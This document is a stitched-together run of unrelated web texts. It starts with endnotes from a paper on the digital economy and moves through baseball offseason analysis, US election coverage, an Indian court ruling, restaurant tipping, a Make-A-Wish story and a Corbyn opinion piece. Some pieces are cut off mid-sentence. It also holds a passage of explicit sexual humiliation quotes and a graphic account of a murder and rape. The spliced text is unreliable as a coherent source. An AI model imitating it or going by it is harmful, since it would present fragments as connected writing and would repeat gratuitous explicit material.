Experience suggests that the regulations for tomorrow's economy are likely to be written today. That means policy choices will be made in advance of both theory and practice, and with disproportionate input from those who have the most to lose from change, or who have garnered short-term first-mover advantages from the first stage of the transition now under way. If we are correct in believing that some of the basic assumptions that drive most thinking about the market (and most introductory economics classes) will not hold up well in the online economy, it is particularly important for those choices to be made with care.
Endnotes
1. This paper is a revised and updated version of "The Next Economy," placed on the World Wide Web in early 1997 at http://www.law.miami.edu/~froomkin/articles/newecon.htm and http://econ161.berkeley.edu/Econ_Articles/newecon.htm, and presented at Brian Kahin and Hal Varian's January 1997 Harvard Kennedy School conference on the emerging digital economy. DeLong would like to thank the National Science Foundation, the Alfred P. Sloan Foundation, and the Institute for Business and Economic Research of the University of California for financial support. We both would like to thank Francois Bar, Caroline Bradley, Steven Cohen, Joseph Froomkin, Brian Kahin, Tom Kalil, Ronald P. Loui, Paul Romer, Steven Cohen, Carl Shapiro, Andrei Shleifer, Lawrence H. Summers, Hal Varian, Janet Yellen, and John Zysman for helpful discussions.
2. Emphasis added. Adam Smith, The Wealth of Nations (London: 1776), Cannan edition, p. 423.
3. See, for estimates of growth in economic product and increases in material welfare over the past century, Angus Maddison, Monitoring the World Economy (Paris: OECD, 1994).
4. Within national borders, that is. Migration across national borders is more restricted today than ever before.
5. See Gerard Debreu, The Theory of Value (1957).
6. In Britain at least. Inhabitants of West Africa or India in Adam Smith's day had very good reason to dispute such a claim.
7. See Jeffrey K. MacKie-Mason and Hal R. Varian, "Some Economic FAQs About the Internet," Journal of Electronic Publishing (June 1995) <http://www.press.umich.edu/jep/works/FAQs.html>; Lee McKnight and Joseph Bailey, "An Introduction to Internet Economics," Journal of Electronic Publishing (June 1995) <http://www.press.umich.edu/jep/works/McKniIntro.html>.
8. When the Wall Street Journal sells a Berkeley economics professor an annual subscription to its e-version, does it imagine that the same user's identification-and-password might be used in one day to access the e-version by the professor at work, by a research assistant working from home on the professor's behalf, and by the professor's spouse at another office? Probably not.
9. See George Akerlof, "Labor Contracts as Partial Gift Exchange," in George Akerlof, An Economic Theorist's Book of Tales (Berkeley: University of California Press, 1985).
10. That excludability is a very important foundation for the market is suggested by the fact that governments felt compelled to invent it. Excludability does not exist in a Hobbesian state of nature: The laws of physics do not prohibit people from sneaking in and taking your things; the police and the judges do. Indeed, most of what we call "the rule of law" consists of a legal system that enforces excludability: Enforcement of excludability ("protection of my property rights," even when the commodity is simply sitting there unused and idle) is one of the few tasks that the theory of laissez-faire allows the government. The importance of this "artificial" creation of excludability is rarely remarked on: Fish are supposed to rarely remark on the water in which they swim. See Brad Cox, Superdistribution: Objects as Property on the Electronic Frontier (New York: Addison-Wesley, 1996).
11. In large part because the government did not restructure property rights to help them. Had the government made the legal right to own a TV conditional on one's purchase of a program-viewing license, the development of the industry might well have been different. And such a conditioning of legal right would have been technologically enforceable. As British billboards used to say: "Beware! TV locator vans are in your neighborhood!"
12. Newton Minow, Equal Time 45, 52 (1964); Minow, Newton M., and Craig L. LaMay. Abandoned in the Wasteland: Children, Television, and the First Amendment. New York: Hill & Wang, 1996.
13. It is worth noting that in the debate over Microsoft in the second half of the 1990s, virtually no one proposed a Federal Operating System Commission to regulate Microsoft as the FCC had regulated the Bell System. The dilemmas that had led to the Progressive-era proposed solution were stronger than ever. But there was no confidence in that solution to be found anywhere.
14. Andrei Shleifer, "Yardstick Competition," Rand Journal of Economics (1986).
15. See Charles Ferguson, High Stakes, No Prisoners (New York: Times Books, 1999).
16. See Jean Tirole, The Theory of Industrial Organization (Cambridge, MA: MIT Press, 1988).
17. See generally http://www.gnu.org/ (free software) and http://www.opensource.org/ (open source generally).
18. See http://www.gnu.org/copyleft/gpl.html.
19. See, e.g., http://www.gnu.org/philosophy/categories.html (categorizing types of licenses).
20. A useful corrective to some of the hype is Kathyrn Heilmann et al., "Intelligent Agents: A Technology and Business Application Analysis," http://haas.berkeley.edu/~heilmann/agents/#I
21. In January 1997, BargainFinder shopped at nine stores: CD Universe, CDNow!, NetMarket, GEMM, IMM, Music Connection, Tower Records, CD Land, CDworld, and Emusic. A sample search for the Beatles' White Album in January 1997 produced this output:
I couldn't find it at Emusic. You may want to try browsing there yourself.
CD Universe is not responding. You may want to try browsing there yourself.
$24.98 (new) GEMM (Broker service for independent sellers; many used CDs, imports, etc.)
I couldn't find it at CDworld. You may want to try browsing there yourself.
$24.76 Music Connection (Shipping from $ 3.25, free for 9 or more. 20 day returns.)
CDNow is blocking out our agents. You may want to try browsing there yourself.
NetMarket is blocking out our agents. You may want to try browsing there yourself.
CDLand was blocking out our agents, but decided not to. You'll see their prices here soon.
IMM did not respond. You may want to try browsing there yourself.
22. See http://www.clickthebutton.com/nosite.html.
23. Interview with Tedd Kelly, executive director of e-college bid org, consultants for educational resources and research. 1 Nov 1999.
24. See http://www.auctionwatch.com/company/pr/pr5.html.
25. Tibor Scitovsky, The Joyless Economy: An Inquiry Into Human Satisfaction and Consumer Dissatisfaction (Oxford: Oxford University Press: 1976).
26. E.g. Michael H. Goldhaber, The Attention Economy and the Net, First Monday, http://www.firstmonday.dk/issues/issue2_4/goldhaber/
27. http://www.firefly.com/.
28. A. Michael Froomkin, "Flood Control on the Information Ocean: Living With Anonymity, Digital Cash, and Distributed Databases," 15 Pitt. J. L. & Com. 395 (1996).
29. Nicholas Negroponte, "Electronic Word of Mouth," Wired 4.10 (Oct. 1996), http://www.hotwired.com/wired/4.10/negroponte.html.
30. Judge Posner suggests that this is the economically efficient result. See Richard A. Posner, "Privacy, Secrecy, and Reputation," 28 Buffalo L. Rev. 1 (1979); Richard A. Posner, "The Right of Privacy," 12 Ga. L. Rev. 393, 394 (1978). Compare, however, Kim Lane Scheppele, Legal Secrets 4353, 111126 (1988); see also James Boyle, "A Theory of Law and Information: Copyright, Spleens, Blackmail |
failed City deal. Selling the 300 branches that make up Williams & Glyn was one of five punishments imposed on RBS by the European Commission as a penalty for the £46bn bailout it received in 2008.
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From a blonde who was chewing gum at the time..."So, I mean, is this it???""Yikes, Andrea said you were small but...wow!"From another girl, holding it between her index finger and thumb, "Why don't you just use your hand."I had just gone home with a girl who provided some 420 fun, "Wow...I hope you know how to eat this cooch!"From a girl who gave me oral, "Well at least there's no chance I'll gag!"Doggystyle and balls deep, "C'mon baby, you can do it!"From a sweet girl with a complete look of shock, "Well, it makes your balls look really big.""Oh, cute. It's like a little button!""Do you think it'll ever get any bigger?""Do you mind if I just rub it for a while?" And after I came, "Wow, I never thought something so small would make such a mess!"From the drunk girls..."You've got to be kidding me! Can I take a picture of that!?!?"Giggling..."I've seen small cocks before but goddam""Sorry, but this is just f'ing pointless!"As soon as I lowered my pants, "You poor thing!"After sex and cuddling, "I should hook you up with my friend Stacy. She was saying that small dicks don't bother her."Mean drunk girl, "I seriously think this is the size of a paperclip. I mean one of those bigger ones." She actually got a paperclip out of her purse and compared.On breaking up.."Good luck ever finding someone who wants that pindick.""I'm telling every single one of my friends that you have a three inch cock. Keep fucking whining and I won't even exaggerate that much!""I lied. It is by FAR the smallest fucking cock I've ever seen."When I found out she was cheating and demanded the truth, "Oh my God, you sniveling little fuck. Because his cock is long and fat and I can actually feel it slide into me."The Cubs enter the 2014-15 offseason with the highest expectations since Theo Epstein took over as club president in October 2011. Starting pitching should be the team’s main focus this winter.
Guaranteed Contracts
Arbitration Eligible Players (service time in parentheses; projections via Matt Swartz)
Contract Options
Kyuji Fujikawa, RP: $5.5MM club option with a $500K buyout
, RP: $5.5MM club option with a $500K buyout Tsuyoshi Wada, SP: $5MM club option (no buyout)
, SP: $5MM club option (no buyout) Jacob Turner, SP: $1MM club option (no buyout)
Free Agents
For a last-place team that finished 16 games under.500, the 2014 Cubs had several positive developments. 25-year-old Anthony Rizzo emerged as one of the best first basemen in baseball. 24-year-old shortstop Starlin Castro bounced back to his 2011-12 form. 22-year-old right fielder Jorge Soler battled hamstring injuries but still tore through Double and Triple-A and saw his success carry over for a month in the Majors. On the pitching side, Jake Arrieta emerged as a potential ace with a 2.53 ERA in 25 starts and Hector Rondon had a successful run as the team’s closer. A lot of building blocks fell into place under new manager Rick Renteria.
In March, I questioned the Cubs’ choices of position players Rizzo and Kris Bryant over power arms Andrew Cashner and Jon Gray. The Rizzo and Bryant choices, plus this summer’s acquisition of Addison Russell and drafting of Kyle Schwarber, suggest president Theo Epstein and GM Jed Hoyer have implemented a strategy favoring the stability of position players to begin their rebuild. The plan has come up smelling like roses so far, as the team’s collection of young hitters is the envy of baseball.
Rizzo has first base locked down for the Cubs potentially through 2021, on what’s become one of the game’s most team-friendly contracts. Though Luis Valbuena did an admirable job at the hot corner in 2014, third base belongs to Baseball America Minor League Player of the Year Kris Bryant. If the Cubs wait a few weeks into April to select Bryant’s contract, they’ll control him through 2021 as well.
The Cubs’ middle infield logjam represents a good kind of problem. Castro, signed potentially through 2020, was one of the game’s ten best shortstops in 2014 despite missing most of the season’s final month. Powerful 21-year-old Javier Baez made his big league debut in August, playing second base and then switching to shortstop when Castro went down. Baez struggled at his new level, as many prospects do, but has the second base job entering 2015. Then there’s Addison Russell, the key piece in the deal that sent Jeff Samardzija and Jason Hammel to Oakland. The 20-year-old Russell raked at Double-A and is knocking on the door to the Majors himself.
Valbuena, 28, had his first full season as a regular, posting a solid.249/.341/.435 line while playing third base and a bit at second. If we pencil in Rizzo, Castro, and Bryant at their respective positions for 2015, only second base is available for three players ranging from good (Valbuena) to potential All-Star (Russell and Baez).
Trading Castro, Russell, or Baez this offseason could be jumping the gun, since Baez has yet to succeed at the big league level and Russell has yet to reach Triple-A. A safe plan would be to begin 2015 with a Castro-Baez middle infield, and if Baez hits and Russell is knocking down the door come July, the team can more seriously consider trades at that point or even move someone to the outfield. Trading Valbuena this winter could make sense, though he’d be a good backup plan at second base. The Cubs need a backup plan for Baez, who struck out in 41.5% of his plate appearances as a rookie. Among players with 200 or more plate appearances, that’s easily the worst strikeout rate in baseball history.
Valbuena was one of the ten best offensive third basemen in the game this year and is under control through 2016; a team like the Red Sox could have interest. He could also be marketed as a second baseman, especially since the free agent market is weak at that position.
Soler should have the right field job locked down heading into 2015, but last year’s 86 games marked a career high. We won’t know if Soler’s hamstrings can hold up for 130+ games in the Majors until he does it. Over in left field, former 2009 Rookie of the Year Chris Coghlan had a resurgent year and should have the job heading into next season. The 2014 Cubs used a host of center fielders, the most interesting of whom is 22-year-old Arismendy Alcantara. A very good prospect in his own right, Alcantara took his first reps at the position this year after previously working as an infielder. As with Baez, Alcantara should get first crack at the 2015 job despite rookie growing pains.
The Cubs’ outfield has enough uncertainty that keeping veterans Sweeney and Ruggiano around makes sense. The team would be justified entering Spring Training with their current outfield pieces, though I’d consider an offseason run at Colby Rasmus on a one-year deal. Rasmus would bring power and upside with no long-term risk, and Alcantara could get further acquainted with center field at Triple-A or be an oft-used super-utility player in the Majors. Another outfielder who could fit is Yasmany Tomas, if the Cubs see star potential in the Cuban free agent, consider him worth a potential $100MM contract, and don’t mind creating something of a long-term surplus in the outfield.
Behind the plate, 27-year-old Welington Castillo played acceptably but saw his batting average and walk rate decline from 2013. The Cubs don’t have to make a long-term decision on Castillo, who is entering arbitration for the first time. The team does have a potential star catcher in the pipeline in 2014 first-rounder Kyle Schwarber, but he needs to prove he can stick at the position. In the spirit of adding position player talent now and worrying about a potential surplus later, the Cubs could make a run at the best free agent catcher, Russell Martin. Signing Martin would signal the Cubs intend to take a leap forward into contention in 2015, though he could require upwards of $50MM as well as the forfeiture of the Cubs’ second-round draft pick.
Epstein whiffed on the biggest expenditure thus far in his Cubs tenure, Edwin Jackson. Jackson now has two years and $22MM left on his contract. According to a late August report from Bob Nightengale of USA Today, the Cubs and Braves engaged in talks in July to swap Jackson and B.J. Upton. That could be revisited, but it’s not the best match since Upton has more than twice as much money remaining on his contract. Other disappointing contracts with between $16-30MM remaining include Cameron Maybin, Chris Johnson, Aaron Hill, Allen Craig, Michael Bourn, Nick Swisher, and Carlos Beltran. While those players have been letdowns, their teams may not be as close to the breaking point as the Cubs seem to be with Jackson.
Regardless of Jackson, the Cubs will need to explore adding starting pitching from all angles. The 2014-15 free agent class is rife with options for all parts of a rotation. The Big Three are Max Scherzer, Jon Lester, and James Shields. Lester is the most obvious fit for the Cubs, as a player who joined the Red Sox around the same time Epstein did and was a big part of the executive’s success there. That he isn’t eligible for a qualifying offer is helpful, but Lester’s price tag will probably exceed $150MM. If they prefer the trade market, the Cubs could try to swing a deal for the Phillies’ Cole Hamels, who is owed $96MM through 2018.
One big name starter alone probably wouldn’t be enough to push the Cubs into contention. Arrieta looked like an ace this year, but his 176 2/3 pro innings marked a career-high, and he missed the season’s first month recovering from a shoulder injury. Kyle Hendricks posted a sparkling 2.46 ERA in 80 1/3 innings as a rookie, but his scouting report and lack of strikeouts suggest a back of the rotation starter. Though his ERA bounced around in his three years with the Cubs, Travis Wood profiles at the back end of a rotation as well and could be non-tendered or traded. The other immediate options are projects who once showed potential: Jacob Turner, Felix Doubront, and Dan Straily. If the Cubs want to keep Turner they’ll pick up his $1MM club option, as renewing him would cost at least 80% of his 2014 salary, which comes to more than $1.5MM.
The Cubs would do well to add one or two mid-tier starting pitchers even if they sign one of the Big Three. Wada could be in that mix after a successful 13-start run, though the Cubs would probably want him for less than his $5MM club option. The Cubs will likely set their sights higher and go for Kenta Maeda, Brandon McCarthy, Francisco Liriano, or Justin Masterson. Masterson comes with the Epstein connection plus other helpful factors such as the lack of a qualifying offer and a likely short-term deal. Epstein has succeeded in the free agent starting pitcher bargain bin over the years, finding Hammel, Wada, Scott Feldman, and Paul Maholm on the cheap.
The Cubs’ bullpen has talent. Rondon is the incumbent closer, while Justin Grimm, Neil Ramirez, and Pedro Strop also pitched well. The Cubs could cut Wesley Wright loose and pursue a better option from the left side, with Andrew Miller profiling as the top southpaw reliever on the free agent market. Right-hander Kyuji Fujikawa is likely to have his option bought out after missing most of his two-year term with the Cubs due to Tommy John surgery. The 2014 Cubs led the NL in relief innings, and the ten pitchers who tossed 14 or fewer innings apiece accounted for a 6.91 ERA. The nine hurlers who had 21 or more relief innings tallied a cumulative 3.04 mark. Better starting pitching could have a significant trickle-down effect on the bullpen in 2015.
Alfonso Soriano is finally off the books for the Cubs, who owe $25.5MM to five players under contract for 2015. They could spend another $17MM or so on arbitration eligible players, bringing total commitments to around $43MM. What is an appropriate payroll for the 2015 Cubs? It seems they could reasonably sit around the middle of the pack with a $110MM payroll, and they could also roll over unspent money from 2014. A $70MM war chest would be more than enough money to add the players necessary to compete next season.
In the longer-term, the Cubs should raise their payroll to be top five in baseball, befitting of their status as a major market team. Though their short-term television rights are an open question, the Cubs’ potential TV deal for all their games following the 2019 season will be what Epstein called a “paradigm shifter” for club revenue, according to Gordon Wittenmyer of the Chicago Sun-Times. Improvements to Wrigley Field, which are now underway, will “move the needle,” according to Epstein. The Cubs have begun their renovation project despite a pending lawsuit between rooftop owners and the city of Chicago regarding the team’s plans to erect signs that will affect the rooftop view.
Regular season winning percentages in the Theo Epstein/Jed Hoyer Cubs era have increased from.377 to.407 to.451. Though he could sign an extension, Epstein only has two years left on his contract. Aggressive acquisition of starting pitching this offseason should mark the end of his three-year rebuilding plan.It's widely known that in 2005, comedian Dave Chappelle literally walked away from his hit Comedy Central show, Chappelle's Show. Over the last year, he's slowly been making a comeback on stage and last night on the Late Show, Letterman grilled him about his decisions to leave and where he went. "The reason most people have a show and then don't have a show is because they say, 'We don't want you to have a show anymore,'" Letterman told him. "But that wasn't the case here."
Chappelle hasn't been on the Letterman couch in 10 years and he flatly stated that he doesn't talk about that incident, but he does open up in a weird way. "Technically, I never quit," he said. "I'm seven years late for work." For this and more about his time spent in South Africa, the mystery surrounding his disappearance, and large sums of money, check out the clip below.In the wake of his surprise presidential victory, Donald Trump's favorability ratings have spiked upward. They're still underwater at 42 percent, but they're higher than at any other point of the cycle. How did he win despite being viewed so negatively? Another new poll gives the answer: a messy campaign against a Democrat nearly as unpopular.
Gallup has been asking for Americans' opinions on Trump for longer than you may realize — a function of his long tenure in the public eye. Before the election, Trump's favorability rating had never topped 38 percent while he was a presidential candidate (although it was slightly higher in years past). After the election, he saw a big jump.
That's thanks to increases across the board, with people across the political spectrum willing to view him more positively.
Republicans who resigned themselves at the last minute to vote for their party's nominee helped push Trump over the top and showed the biggest rise in favorability. But even among Democrats, Trump is viewed slightly more positively. Or, I suppose, viewed slightly less terribly.
What happened? How could a guy so poorly regarded end up as president? As Gallup notes, no candidate viewed more negatively than his opponent has ever won before. New research from the Pew Research Center offers some hints.
First and foremost, Trump's lower approval rating wasn't that much lower, as we've seen. Voters were much less likely to say they were satisfied with the major-party options presented to them.
And among Hillary Clinton voters, the number was shockingly low.
Only a quarter of those who supported Clinton thought the options on the ballot were very or fairly satisfactory. That's lower than at any point in the past 30 years — including among supporters of Republican nominee Robert Dole in 1996.
Overall, voters see the campaign as remarkably negative. People generally think that there was more mudslinging now than in the past, but this year nearly everyone — 92 percent of respondents — agreed that this was the case.
When Pew asked people to grade the candidates' conduct, one-third gave Trump an F and one-fifth offered the same grade to Clinton. The number of As and Bs given to Clinton were about the norm for a losing candidate, but the number of As and Bs given Trump were lower than nearly any other candidate since 1988, winning or losing.
There's a deep split in expectations for the new president. Trump supporters — understandably surprised by and excited about the election results — are optimistic about Trump making change in Washington. More than half think he should work with Democrats to get things done, according to Pew.
Clinton voters — understandably surprised and disconcerted by the results — want Trump to work with Democrats, but think that Democrats should stand up to him even if it means that less gets done. (Even among those Clinton voters willing to give Trump a chance, 51 percent say the Democrats should stand up to the president-elect.)
An interesting footnote is that Trump's election coincides with a shift to the left by the Democratic Party. Since November 2008, about 60 percent of Republicans have said that they want their party to become more conservative. In 2008 through 2014, Democrats largely said they wanted a more moderate party. This year, the percentage seeking a more liberal Democratic Party has neared 50 percent.
Over most of his tenure, President Obama faced entrenched opposition from a Republican-controlled Congress backed by a Republican base that consistently disapproved of his job performance. Trump was lucky to creep past an also unpopular opponent on his way to winning the electoral vote. But despite the uptick in his favorability among Democrats, it seems as though the opposition is approaching Inauguration Day with a skeptical eye toward him.FLINT, Mich. – Senator Barack Obama said today he intends to visit Iraq and Afghanistan before the November election.
Mr. Obama, who spoke to the Iraqi foreign minister by telephone this morning, said he was “encouraged” by the reductions in violence in Iraq. But he said the United States still must begin gradually withdrawing troops, at a pace of one to two brigades a month, with a goal of removing most combat troops in 16 months.
“We have no interest in permanent bases in Iraq,” Mr. Obama said. “I gave him an assurance that should we be elected, an Obama administration will make sure that we continue with the progress that’s been made in Iraq – that we won’t act precipitously, but that we will move to end U.S. combat forces in Iraq.”
As Mr. Obama arrived in Michigan for a campaign stop on the economy, he shared details of his morning telephone call with Iraqi Foreign Minister Hoshyar Zebari. On Sunday, Mr. Zebari had a face-to-face meeting with Senator John McCain of Arizona, the presumptive Republican nominee.
Among the issues being discussed with the two presidential candidates is the long-term security accord between Iraq and the United States. While the Bush administration would like to see an agreement reached before the summer’s political conventions, Mr. Obama said today that he opposed such a timetable.
“My concern is that the Bush administration, in a weakened state politically, ends up trying to rush an agreement that in some ways might be binding to the next administration, whether it’s my administration or Senator McCain’s administration,” Mr. Obama said. “The foreign minister agreed that the next administration should not be bound by an agreement that’s currently made.”
Mr. Obama, who has not been to Iraq for more than two years, told the New York Times last month that he intended to visit Iraq. His comments today after talking to Mr. Zebari underscored that desire, saying: “I told him that I look forward to seeing him in Baghdad.”
Late last month, Mr. McCain invited Mr. Obama to embark on a joint trip to Iraq, a gesture that Mr. Obama dismissed as a political stunt. The Republican National Committee started a clock, keeping track of the days it has been since Mr. Obama’s visit in January 2006.
“In the nearly 900 days since Barack Obama visited Iraq, the facts on the ground have changed dramatically – but his ideologically-driven position has not,” said Alex Conant, a Republican spokesman. “When Obama visits Iraq, he’ll see that he was wrong to oppose the surge, wrong to continue to ignore our commanders’ advice and wrong to demand premature withdrawal.”
Today, Mr. Obama did not say specifically when he intended to take his foreign trip.
“You know, we’ll make an announcement about that,” he said. “But as I said, I’m interested in visiting Iraq and Afghanistan before the election.”MUMBAI: Three days before the brutal gang-rape of Nirbhaya, the Supreme Court commuted a death sentence to life for a 23-year-old man who killed a 65-year-old woman and raped her pregnant 25-year-old granddaughter-in-law in an upscale Pune neighbourhood in September 2007.The convict, Sandesh Abhang, had stabbed the old woman 21 times, severed four fingers of one hand and chopped off the other wrist. He then raped her granddaughter-in-law, stabbed her 19 times, including in her neck, and left believing her to be dead. He later boasted to his friends that he had killed two women and was not afraid of anyone. The woman was five-month pregnant and gave birth to her child later.The SC bench of Justices Swatantar Kumar and Madan Lokur observed that though the accused had committed a very “heinous and brutal crime”, a “vital factor” that he “may not have been aware of what he was doing as he smelled of alcohol’’ could not be ruled out and hence his “abnormal behaviour” was relevant in holding against death penalty. The SC said to kill, “it was not expected of him to inflict 21and 19 injures on their bodies respectively. He could have simply given an injury on the vital parts of their bodies and put them to death… amputating the fingers clearly reflects the conduct of an abnormal person”.The convict had sought leniency on the grounds that he was drunk and unaware of his own actions. But the state argued that the law allows intoxication as a defence only when the accused can prove that it was against his will and knowledge and when the effects are such that the person is rendered incapable of proper judgement of his own intent to commit a crime.The SC said that in cases of capital punishment, reformation was a relevant criterion. In this case, it reasoned that the convict was young, had “no criminal involvement in similar crimes’’ and “no evidence (had been) produced by the Maharashtra government’’ to show that he was a hardened criminal incapable of being reformed. This, it said, outweighed other factors against him.The Bombay high court bench of Justices B H Marlapalle and Abhay Thipsay had in March 2011 upheld the death sentence awarded by a sessions court. The HC said Abhang should be shown no mercy as he was incapable of remorse or reform. The accused, a mechanic, had entered the house in the afternoon saying “sahib ne bheja hain” for some work. His intention was to rob, but angered that the older woman’s bangles were not of gold, he chopped her fingers and wrist.The pregnant woman had helplessly pleaded with the accused to spare their lives and take away the valuables but even after taking the gold jewellery, he had in a cold-blooded manner killed the older woman by slashing her neck with his kukri, then at knife-point made the younger woman remove her clothes before raping her. The court observed that the younger woman “displayed wisdom and bravery. She received injuries on her back to protect the child in her womb and pretended to be dead by lying down quietly.’’At 3 pm, the convict left the flat in Bibwewadi after washing himself and his weapon clean. The young woman later called out to her aunt residing in the flat below and was finally rushed to the hospital where she remained in the ICU for almost three weeks.The HC observed that the accused showed unusual calm and perversity in raping a bleeding pregnant woman after killing one and then washing himself clean. It held his conduct and crime to be rarest of rare and beyond redemption. He would be a menace and threat to society, it said but the SC disagreed and said ‘’his conduct in jail was not shown to be unworthy of concession.’’The HC and SC held that the evidence had proved the man’s guilt beyond doubt. In the SC, Abhang did not challenge his conviction but only pleaded against the death sentence. The SC said life imprisonment shall be for life.Donald Trump is set to hold a rally Tuesday in Austin, his first public event in Texas as the Republican presidential nominee.
Trump was already scheduled to visit Texas on Tuesday for private fundraisers in Fort Worth and Austin. His campaign announced Friday he will also attend the rally, which is scheduled for 7:30 p.m. at Luedecke Arena.
While it is unusual for a presidential nominee to publicly campaign in safely red Texas, the Austin rally was not entirely unexpected. When Trump traveled to Texas as the presumptive nominee in June, he added two rallies, one in Dallas and the other in The Woodlands, to a trip otherwise centered on fundraising. While in Austin, Trump will also be fitting in a taping of a two-hour interview with Fox News host Sean Hannity at ACL Live at The Moody Theater.
Texas GOP Chairman Tom Mechler suggested Trump's decision to come to Austin, one of the most liberal parts of the state, showed he is working to grow the Republican Party.
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"For Mr. Trump to come to Austin, the blueberry in the tomato soup that is Texas, should certainly ruffle the feathers of some very liberal politicians who are more concerned with being politically correct than addressing the many issues facing the citizens of Austin," Mechler said in a statement. "Mr. Trump’s visit will help broaden his popularity amongst Texas Republicans and further unite our Party as we inch closer to November."
While it is Trump's first trip to Texas as the nominee, not every prominent state Republican is expected to turn out. Gov. Greg Abbott, who has been cool in his support for Trump, is not able to attend the rally, Abbott spokesman John Wittman said. Abbott instead will be at Brooke Army Medical Center in San Antonio for ongoing treatment of burns he suffered while vacationing more than a month ago.
The most recent statewide official to come out in support of Trump, Land Commissioner George P. Bush, also is skipping the rally. Bush, who urged Texas Republicans to help elect Trump earlier this month at a party meeting, "will be unable to attend due to his schedule," Bush spokesman Kasey Pipes said.
There will still be some star power at the rally. Lt. Gov. Dan Patrick, the most vocal Trump supporter in state government, plans to be there, as well as at Trump's two fundraisers, according to a Patrick spokesman, Allen Blakemore.
Trump's Tuesday trip will not be the only attention Texas is getting next week from the presidential campaigns. Democratic nominee Hillary Clinton is sending her husband, former President Bill Clinton, to fundraisers in Dallas and San Antonio on Thursday.
More on Donald Trump’s presidential campaign:
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• Donald Trump is holding a rally Tuesday in Austin, his first public event in Texas as the Republican presidential nominee.
• Arizona. Georgia. Utah. Indiana. As Donald Trump's poll numbers collapse across the country, could he actually lose Texas to Hillary Clinton? No, say a raft of state and national Democrats.
• Republican presidential nominee Donald Trump has had a tough couple weeks, but many of Texas' top Republicans are sticking by him, with Agriculture Commissioner Sid Miller vying to lead the parade.
• Donald Trump has tapped half a dozen well-known Texans — including the state's former governor — to advise him on agriculture policy in his campaign for the White House.A B.C. restaurant owner will soon be joining a handful of U.S. restaurants that have adopted a "no tipping" policy, a move that could boost the set wages of servers and leave gratuity-anxious customers feeling a lot less guilty.
“I think we will see this gaining traction,” said Michael vonMassow, an assistant professor of hospitality, food and tourism management at the University of Guelph. “Will it change overnight? Not at all. Will there be some bumps and bruises along the way? For sure.
“But I think we’re on the cusp of looking at it differently.”
Referring to tipping as a “broken business model,” David Jones, owner of the Smoke and Water in Parksville, B.C, told the Vancouver Province that when his restaurant opens up this June, customers will not be allowed to tip.
He will instead increase the menu prices by 18 per cent and jack up the average wage servers and cooks make. His servers will receive between $20 and $24 an hour while cooks will earn $16 to $18 an hour.
Many consider the approach, few adopt it
By eliminating tipping, Jones said, he will attract more qualified servers and cooks and narrow the wage gap between the two occupations. Wait staff can make up to three times more than those in the kitchen.
“There’s lots of people who are thinking about it,” von Massow said. “There are a few places that have actually done it.”
Tipping is mostly a North American phenomenon, and some restaurants in New York and California have instituted strict no-tip polices.
From a restaurant owner's point of view, eliminating tipping could diminish some of the operational challenges of the business. The great divide between how much people in the kitchen make and how much servers get can be a source of tension.
"When tips are going directly to the server, it’s difficult for the manager to get some allocation to people who are creating value in the kitchen," von Massow said
Some managers implement tip pooling — taking a share of tips from the servers and allocating them to the staff in the back. But that too can be problematic.
Trust and transparency can become factors, as pooling raises questions as to whether the manager is pocketing some of the money and whether the tips are being allocated fairly. Eliminating tips makes wages more predictable.
"So if [you] get a lousy shift or a lousy table you're not going to get hurt — or get lucky if you get the person who just won the lottery," von Massow said.
Pressure to tip
While a no-tip policy may make life easier for the mathematically challenged consumer, it also removes the anxiety that comes at the end of the meal.
“We feel this guilt, this social pressure to tip, and in many cases we don’t feel it’s warranted," von Massow said. "At the end of a beautiful meal, our last experience with the restaurant is uncertainty. How much should we tip?"
"I think a restaurant that doesn’t require me to do that will be a more comfortable experience for me," he said, adding that research shows the quality of service rarely affects the amount of the tip.
But vonMassow said there is the risk that a no-tipping policy could affect the overall effort by servers, who may no longer feel an incentive to work harder for a tip. Studies have suggested that servers will work harder for customers they believe will leave a bigger tip, vonMassow said.
"Is there risk that individual effort goes down? Probably, it becomes a performance management issue. However, there may also be opportunity to foster a team environment, reduce the competition and even out the service experience, he said.
Garth Whyte, president and CEO of Restaurants Canada, said that although the servers' wages would be higher, they would also be dinged for pension and employment insurance deductions.
"Lots of people in university, they want the cash. They want that direct relationship [with the customer] because tips is where they’re going to make their money."
"Will [the B.C. restaurant owner] be able to entice staff with that higher salary versus tip?"
As well, the no-tip restaurant may mean higher costs, a real challenge in such a hyper-competitive industry, Whyte said,
"So will the customers come at a higher price?" he said.
Reaction by consumers will most likely be mixed, vonMassow said.
"I think there will be people who say, 'You’re taking power away from me and I don’t like it.' I think there will be people who say, 'I love it because it takes the pressure off me,' and there will be a large group in the middle who will be indifferent."Share This Video Facebook Twitter EMAIL
Ella Schultz, a 6-year-old girl with cancer, has two wishes: to beat her illness, and to have a playhouse in her yard. The Make-A-Wish Foundation set out to make one of those wishes come true. Then, they hit a wall. A really, really mean wall.
“Everything seemed to be going fine then we got a phone call: Your HOA will not approve it.” Jennifer Schultz recalled. The Stone Gate Homeowner’s Association indeed turned down the plans. HOA leaders said building a structure in the backyard would go against the neighborhood’s covenants. When the little girl who has bravely battled so much was told she couldn’t have her play house, she broke down in tears.
The president of the HOA says “The proposed plan they’ve given us is a violation of our covenants.” Then she presumably said “MUAHAHAHA,” twirled her mustache, and tied someone to some railroad tracks. Or, quite possibly, went back to her popular cooking show.
For what it’s worth, Ella’s neighbors are on her side.
Stone Gate residents interviewed by KCTV5 said they were troubled by the denial. One man said he would be more upset if he didn’t see Ella play in her backyard than the sight of a large playhouse for her. “Little Ella is darling,” Stone Gate resident Brett Greble said. “I think they need to reconsider... I want to look out my window and see Ella happy.” Those supporting #SaveEllasWish are decorating their mail boxes and front porches with the color green.
If you would like to help Ella and her family with their medical bills, a GoFundMe page has been set up.
Source: KCTV 5The last time British Labour leader Jeremy Corbyn Ireland visited Ireland was 2009, to attend an international peace conference in Shannon organised by the Peace and Neutrality Alliance (Pana). The Irish Times agreed to publish an article by the alliance, but due to production constraints it left out the closing paragraph, which stated: “Pana has, over the last 20 years, developed strong links with British CND, Scottish CND and CND Cymru. They represent all that is best among the British, Scottish and Welsh people. It is their values and their vision that gives hope for the possibility of a great future for the UK shorn of its imperial culture either in what remains of the British empire or the emerging European empire.”
Corbyn has, for his entire political life, been a supporter of CND and its values. He was re-elected Labour leader not because he is a decent, honest and humble man (which he is) but because he leads a movement, not just a political party.
It is a movement that wants, among other things, a real national health service (the greatest achievement of the historic 1945 Labour government), rather than the continuation of Britain’s imperial tradition of a commitment to perpetual war and the renewal of the Trident nuclear programme as advocated by the current ruling parties of Tories and New Labour. If Corbyn becomes prime minister it will be because of a deep and fundamental change in the values of the British people.
